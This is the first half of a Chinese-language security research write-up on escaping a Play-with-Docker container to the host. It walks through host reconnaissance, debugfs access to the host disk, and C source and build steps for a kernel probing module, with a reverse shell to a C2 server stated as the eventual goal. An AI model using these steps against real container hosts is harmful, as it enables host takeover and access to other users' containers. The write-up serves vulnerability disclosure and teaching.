攻擊者是如何從Play-with-Docker容器逃逸到Docker主機的 (上)
導言
Play-with-Docker(PWD),即Docker的遊樂場網站,專門供初學者迅速上手各種Docker命令。實際上,該網站是建立在許多Docker主機上的,每個主機執行多個供初學者使用的容器,所以,該網站是學習Docker的好去處。藉助於PWD,人們可以在Web瀏覽器中免費體驗Alpine Linux虛擬機器,學生可以在Web瀏覽器中構建和執行Docker容器,這樣,他們就可以直接體驗一把Docker,而不必先忙著安裝和配置Docker。
這一獨特的服務受到了DEVOPS從業人員的熱烈歡迎,每月訪問量超過10萬次,此外,該網站還提供Docker教程、研討會和培訓等服務。該倡議是由Marcos Nils和Jonathan Leibiusky發起的,並得到了Docker社群的幫助以及Docker的贊助。
下面,我們將嘗試實現模擬容器的逃逸,以便在Docker主機上執行程式碼。
容器逃逸的影響類似於虛擬機器逃逸,因為兩者都允許訪問基礎伺服器。一方面,在PWD伺服器上執行程式碼將允許攻擊者不受限制地訪問PWD的基礎設施,另一方面,還可以訪問所有學生的容器。此為,我們還可以把容器逃逸視為攻擊企業基礎設施的第一步,因為現在許多企業都在執行面向公眾的容器,這可能導致攻擊者入侵企業網路。
我們已經將發現的安全漏洞報告給了Docker和PWD的維護人員,並且,他們已經修復了PWD中的相關漏洞。
虛擬機器或Linux容器
無論是容器,還是虛擬機器(Virtual Machines,VM),都能夠將應用程式與執行在同一臺計算機上的底層主機和其他應用程式隔離開來。這種隔離不僅對於應用程式的執行來說非常重要,同時,對於安全性來說,也是至關重要的。
Linux容器和VM之間的一個重要區別,主要體現在與Linux核心的關係上面。如圖1所示,VM會為每個例項載入一個新核心;每個VM不僅執行所有硬體(虛擬機器管理程式)的虛擬副本,還為每個VM例項都執行一個Linux核心的完整副本。
相反,所有容器將共享相同的核心程式碼。這就是容器如此輕量級和易於操作的原因,同時,這也是Linux容器鏈中的一個薄弱環節。在這篇文章中,我們將為大家介紹攻擊者是如何攻擊這一薄弱環節的。
圖1:VMS與容器虛擬化層。資料來源:https://www.electronicdesign.com/dev-tools/what-s-difference-between-containers-and-virtual-machines
瞭解你的敵人
熟悉容器的第一步是繪製其邊界圖:
[node1] $ uname –a Linux node1 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 Linux
uname命令能夠顯示主機的核心版本、體系結構、主機名和構建日期。
[node1] $ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.4.0-96-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
/proc檔案系統上的這個cmdline偽檔案能夠指出核心的引導映像和根UUID。這個UUID通常會被掛載為主機的根硬碟驅動器。接下來,我們要定位該UUID後面的裝置:
[node1] $ findfs UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c /dev/sda1
現在,我們可以嘗試將該裝置掛載到容器中,如果成功,就可以訪問主機的檔案系統了:
[node1] $ mkdir /mnt1 [node1] $ mount /dev/sda1 /mnt1 mount: /mnt1: cannot mount /dev/sda1 read-only.
不幸的是,SDA1裝置是隻讀的,因此,我們無法掛載它。只讀屬性可能是使用PWD AppArmor的配置檔案來實現的。
接下來,我們將轉儲cpuinfo檔案,具體命令如下所示:
[node1] $ cat /proc/cpuinfo processor: 0 vendor_id: GenuineIntel cpu family: 6 model: 79 model name: Intel(R) Xeon(R) CPU E5-2673 v4 @ 2.30GHz stepping: 1 microcode: 0xffffffff cpu MHz: 2294.670 cache size: 51200 KB physical id: 0 siblings: 8 core id: 0 cpu cores: 4 apicid: 0 initial apicid: 0 fpu: yes fpu_exception: yes cpuid level: 20 wp: yes flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology eagerfpu pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch tpr_shadow vnmi ept vpid fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt bugs: bogomips: 4589.34 clflush size: 64 cache_alignment : 64 address sizes: 44 bits physical, 48 bits virtual power management: —- snip —- processor: 7 vendor_id: GenuineIntel cpu family: 6 model: 79 model name: Intel(R) Xeon(R) CPU E5-2673 v4 @ 2.30GHz ......
我們繼續來研究容器環境,並檢視主機的底層硬體:
Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS 090007 06/02/2017
在進一步研究其他內容之前,還有一件事要做,那就是學會使用debugfs。debugfs是一個互動式的檔案系統偵錯程式,可以用於ext2/3/4檔案系統。它可以對裝置指定的ext檔案系統進行讀寫操作。下面,讓我們拿sda1裝置來演示一下debugfs的用法:
[node1 $ debugfs /dev/sda1 debugfs 1.44.2 (14-May-2018) debugfs:
太好了! 我們已經通過sda1裝置入侵了的主機的root檔案系統。現在,藉助於標準的Linux命令,例如cd和ls命令,我們就可以更深入的瞭解主機的檔案系統了:
debugfs: ls 2(12) .2(12) ..11(20) lost+found12(12) bin 181(12) boot193(12) dev282(12) etc2028(12) home 6847(20) initrd.img2030(12) lib4214(16) lib64 4216(16) media4217(12) mnt4218(12) opt4219(12) proc 4220(12) root4223(12) run4226(12) sbin4451(12) snap 4452(12) srv4453(12) sys4454(12) tmp4455(12) usr 55481(12) var3695(16) vmlinuz3529(12) .rnd2684(36) - 17685(24) initrd.img.old24035(3696) vmlinuz.old
這似乎是主機的根目錄結構。並且,每個條目之前的數字是inode。例如, root (..)目錄對應於inode 2;etc目錄對應於inode 282。
獲取了這些資訊後,我們就可以規劃接下來的行動了:
計劃A:
我們的主要目標是,在我們所在的容器的主機上執行程式碼。為此,我們可以嘗試載入一個Linux核心模組,該模組通過操控核心來執行我們的程式碼。
要載入一個新的核心模組,通常需要使用完全相同的核心原始碼、核心配置和工具集對其進行編譯。這一點無法在PWD核心上實現,所以,我們不得不轉向計劃B。
計劃B:
對於該計劃來說,我們將使用已經載入到目標核心上的模組來幫助我們構建自己的模組,並且這些模組可以載入到PWD核心上。
一旦我們確定了目標模組,我們就需要編譯和載入第一個“probing”核心模組。這個模組將使用printk在核心記錄器上轉儲必要的資訊,以載入第二個反向shell模組。
在目標核心上執行第二個模組將執行必要的程式碼,以建立從PWD主機到C2伺服器的反向shell。
聽起來很複雜,對吧?如果您熟悉Linux核心模組的話,這實際上並不複雜,但是如果您願意,可以跳過技術細節部分,直接觀看相應的視訊。
第1階段:獲取Play-with-Docker核心模組
在debugfs應用程式的幫助下,我們能夠輕鬆地遍歷主機的檔案系統。很快,我們發現了一個核心模組,它具有讓我們的策略正常運作所需的最低要求:一個使用printk核心函式的模組。
debugfs:cd /lib/modules debugfs:ls 3017(12) .2030(48) ..262485(24) 4.4.0-96-generic 524603(28) 4.4.0-137-generic2055675(3984) 4.4.0-138-generic
這是該裝置的/lib/modules目錄結構的列表。紅色部分表示每個檔案的inode。這個目錄總共含有3個不同的核心版本,其中我們需要的版本為4.4.0-96-generic。
debugfs:cd 4.4.0-96-generic/kernel/fs/ceph debugfs:ls 1024182(12) .774089(36) ..1024183(4048) ceph.ko
接下來,我們將提取ceph.ko[iv]檔案,它是ceph軟體儲存平臺的核心載入模組。實際上,該主機上的所有使用printk函式的其他模組也都能滿足我們的要求。
debugfs:dump <1024183> /tmp/ceph.ko
dump debugfs命令實際上是通過它的inode從被除錯的檔案系統(根檔案系統)中將相應的檔案提取到容器的local/tmp目錄中的。
現在,我們可以將這個檔案傳到我們的工作站上。
第2階段:建立“probing”核心模組:
一般而言,使用某個核心原始碼編譯的模組無法載入到使用另一個原始碼編譯的核心上面。但是,對於相對簡單的模組來說,可以在下面三種情況下將核心模組載入到不同的核心上:
該模組與要使用的核心具有匹配的vermagic。實際上,vermagic就是一個字串,用於標識編譯它的核心的版本。
模組使用的每個函式呼叫或核心結構(用Linux核心術語來說,就是符號)都能向它試圖載入的核心提供一個匹配的CRC。
模組的可重定位起始地址與核心的程式設計地址是一致的。
我為了獲得目標核心上call_usermodehelper()函式的CRC,我們需要使用一個probing模組來完成該任務。
第1步:查詢call_usermodehelper函式在目標核心上的CRC地址
Linux核心的符號位於/proc/kallsyms中:
[node1] $ cat /proc/kallsyms | grep call_usermod ffffffff81096840 T call_usermodehelper_exec ffffffff810969f0 t call_usermodehelper_exec_async ffffffff81096b40 t call_usermodehelper_exec_work ffffffff810970a0 T call_usermodehelper_setup ffffffff81097140 T call_usermodehelper ffffffff81d8a390 R __ksymtab_call_usermodehelper ffffffff81d8a3a0 R __ksymtab_call_usermodehelper_exec ffffffff81d8a3b0 R __ksymtab_call_usermodehelper_setup ffffffff81daa0e0 r __kcrctab_call_usermodehelper ffffffff81daa0e8 r __kcrctab_call_usermodehelper_exec ffffffff81daa0f0 r __kcrctab_call_usermodehelper_setup ffffffff81dbabf1 r __kstrtab_call_usermodehelper ffffffff81dbac05 r __kstrtab_call_usermodehelper_exec ffffffff81dbac1e r __kstrtab_call_usermodehelper_setup
call_userModeHelper()函式的CRC儲存在地址FFFFFF81DAA0E0處,因此,probing模組應該轉儲該地址中的內容。
下面是第一個模組的程式碼:
#include <linux/module.h>/* Needed by all modules */ #include <linux/kernel.h>/* Needed for KERN_INFO */ #include <linux/init.h>/* Needed for the macros */ MODULE_LICENSE("GPL"); MODULE_AUTHOR("CyberArk Labs"); MODULE_DESCRIPTION("A simple probing LKM!"); MODULE_VERSION("0.3"); static int __init startprobing(void) { // these address were copied from the kallsyms of the 4.0.0-96-generic // after grepping for kcrctab_<function_name> int *crc1 = (int *)0xffffffff81daa0e0;// address of crc of call_usermodehelper int *crc2 = (int *)0xffffffff81dae898;// address of crc of printk printk(KERN_EMERG "Loading probing module...\n"); printk(KERN_EMERG "CRC of call_UserModeHelper = 0x%x\n", *crc1); printk(KERN_EMERG "CRC of printk = 0x%x\n", *crc2); return 0; } static void __exit startprobing_end(void) { printk(KERN_EMERG "Goodbye!\n"); } module_init(startprobing); module_exit(startprobing_end);
第2步:準備好Makefile檔案
下一步是為該核心模組準備一個Makefile檔案:
obj-m = probing.o all: make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
然後,執行make命令:
$ make make -C /lib/modules/4.17.0-rc2/build/ M=/root/cprojects/kernelmod/simplemod modules make[1]: Entering directory '/root/debian/linux-4.17-rc2' CC [M]/root/cprojects/kernelmod/simplemod/probing.o Building modules, stage 2. MODPOST 1 modules read continue
我們可以在編譯器生成probing.mod.c檔案之後、連結probing模組的程式碼之前,停止該編譯過程。
下面是自動生成的檔案:
$ cat probing.mod.c #include <linux/module.h> #include <linux/vermagic.h> #include <linux/compiler.h> MODULE_INFO(vermagic, VERMAGIC_STRING); MODULE_INFO(name, KBUILD_MODNAME); __visible struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif .arch = MODULE_ARCH_INIT, }; #ifdef RETPOLINE MODULE_INFO(retpoline, "Y"); #endif static const struct modversion_info ____versions[] __used __attribute__((section("__versions"))) = { { 0x6cb06770, __VMLINUX_SYMBOL_STR(module_layout) }, { 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) }, { 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) }, }; static const char __module_depends[] __used __attribute__((section(".modinfo"))) = "depends="; MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145");
未完待續,我們先介紹到這裡,大家先消化消化,明天將為大家奉上本文的後半部分。敬請期待!